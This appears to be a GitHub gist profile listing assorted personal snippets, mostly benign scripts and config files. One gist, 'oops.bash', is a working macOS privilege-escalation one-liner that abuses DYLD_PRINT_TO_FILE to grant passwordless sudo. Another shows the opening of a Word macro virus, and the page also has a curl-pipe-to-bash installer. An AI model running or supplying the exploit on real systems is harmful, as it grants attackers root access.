Skip to content

Instantly share code, notes, and snippets.

🙃
Hello!

Sean Zhu szhu

🙃
Hello!
Block or report user

Report or block szhu

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View T9.java
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
@szhu
szhu / oops.bash
Created Jul 23, 2015
DYLD_PRINT_TO_FILE vulerability
View oops.bash
# https://twitter.com/nst021/status/623953011325468673
# https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
View HigherOrderFunctionsTest.java
import java.util.*;
class Animal { // implements Comparable<Animal> {
public String name;
public int age;
public Animal(String name, int age) {
this.name = name;
this.age = age;
}
@szhu
szhu / squirrel-update.sh
Created Jul 28, 2016
Force Squirrel/ShipIt update
View squirrel-update.sh
/Applications/WebTorrent.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt io.webtorrent.webtorrent.ShipIt
View android-provision.sh
#!/bin/bash
verbose() {
echo "$@"
"$@"
}
power-softrestart() {
verbose adb shell "su -c 'killall zygote'"
}
View gapps-config.txt
# Read more about gapps-config file here:
https://github.com/opengapps/opengapps/wiki/Advanced-Features-and-Options
# Prevent automatic removal
# +Browser # Stock Browser
# +CameraStock # Stock Camera
# +Email # Stock Email
# +Gallery # Stock Gallery
# +Launcher # Stock Launcher(s)
View setup-background-screensaver.bash
#!/bin/bash
# Set your desktop background to your screen saver.
# Install and activate with:
# curl -fsSL https://git.io/vMgM9 | bash
#
# The screen saver is visible only on desktops created before the screen saver
# was started. If you create a desktop and wish to see the screen saver on it
# immediately, just do:
# open -a ScreenSaverEngine
# to bring it in front of the default desktop background. You can also add
@szhu
szhu / 1. Unobfuscated 11717.doc.vb
Created Jan 14, 2017
Word macro virus in received email
View 1. Unobfuscated 11717.doc.vb
Sub AutoOpen()
If (True) Then
If (True) Then
If (False) Then
Else
If (False) Then
Else
Select Case Empty
Case Empty
tyqegexl = False
@szhu
szhu / com.interestinglythere.sendtokindle.plist
Last active Mar 26, 2018
Small daemon to send documents to your Kindle and eject it every time it's connected
View com.interestinglythere.sendtokindle.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.interestinglythere.sendtokindle</string>
<key>StartOnMount</key>
<true/>
<key>ProgramArguments</key>
<array>
You can’t perform that action at this time.